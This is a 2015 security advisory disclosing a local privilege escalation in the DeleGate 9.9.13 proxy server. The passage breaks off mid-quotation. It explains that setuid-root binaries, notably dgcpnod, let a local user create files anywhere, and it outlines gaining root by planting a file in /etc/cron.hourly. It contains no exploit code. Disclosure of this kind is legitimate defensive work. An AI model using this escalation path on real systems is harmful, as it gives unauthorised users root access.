Title: Local root vulnerability in DeleGate v9.9.13 Author: Larry W. Cashdollar, @_larry0 Date: 2015-12-17 Advisory: http://www.vapidlabs.com/advisory.php?v=159 Download Sites: http://delegate.hpcc.jp/delegate/ http://delegate.org/delegate/ Vendor: National Institute of Advanced Industrial Science and Technology Vendor Notified: 2015-12-17 Vendor Contact: y.sato@delegate.org ysato@etl.go.jp Description: DeleGate is a multipurpose proxy server which relays various application protocols on TCP/IP or UDP/IP, including HTTP, FTP, Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and more. DeleGate mediates communication between servers and clients where direct communication is impossible, inefficient, or inconvenient. Vulnerability: Installation of delegate 9.9.13 sets some binaries setuid root, at least one of these binaries can be used to escalate the privileges of a local user. The binary dgcpnod creates a node allowing a local unprivileged user to create files anywhere on disk. By creating a file in /etc/cron.hourly a local user can execute commands as root. Installation of software via source or binary distribution with option to not run as root results in a script set-subin.sh to run setting the setuid bit on four binaries. In Linux distributions where this software is part of the package list these binaries are not setuid root. (archlinux) From documentation http://www.delegate.org/delegate/newbies-ja.shtml (translated to english): Go is included in the binary distribution, or DGROOT that you can build from the source to the location of preference, and then change the name if necessary. This is the DgRoot. In addition, if needed, you can rename the executable file of DeleGate to the name of the preference. This is the DgExe. "In Unix version subin in if you want to use "(such as when using a privileged port), do the following.
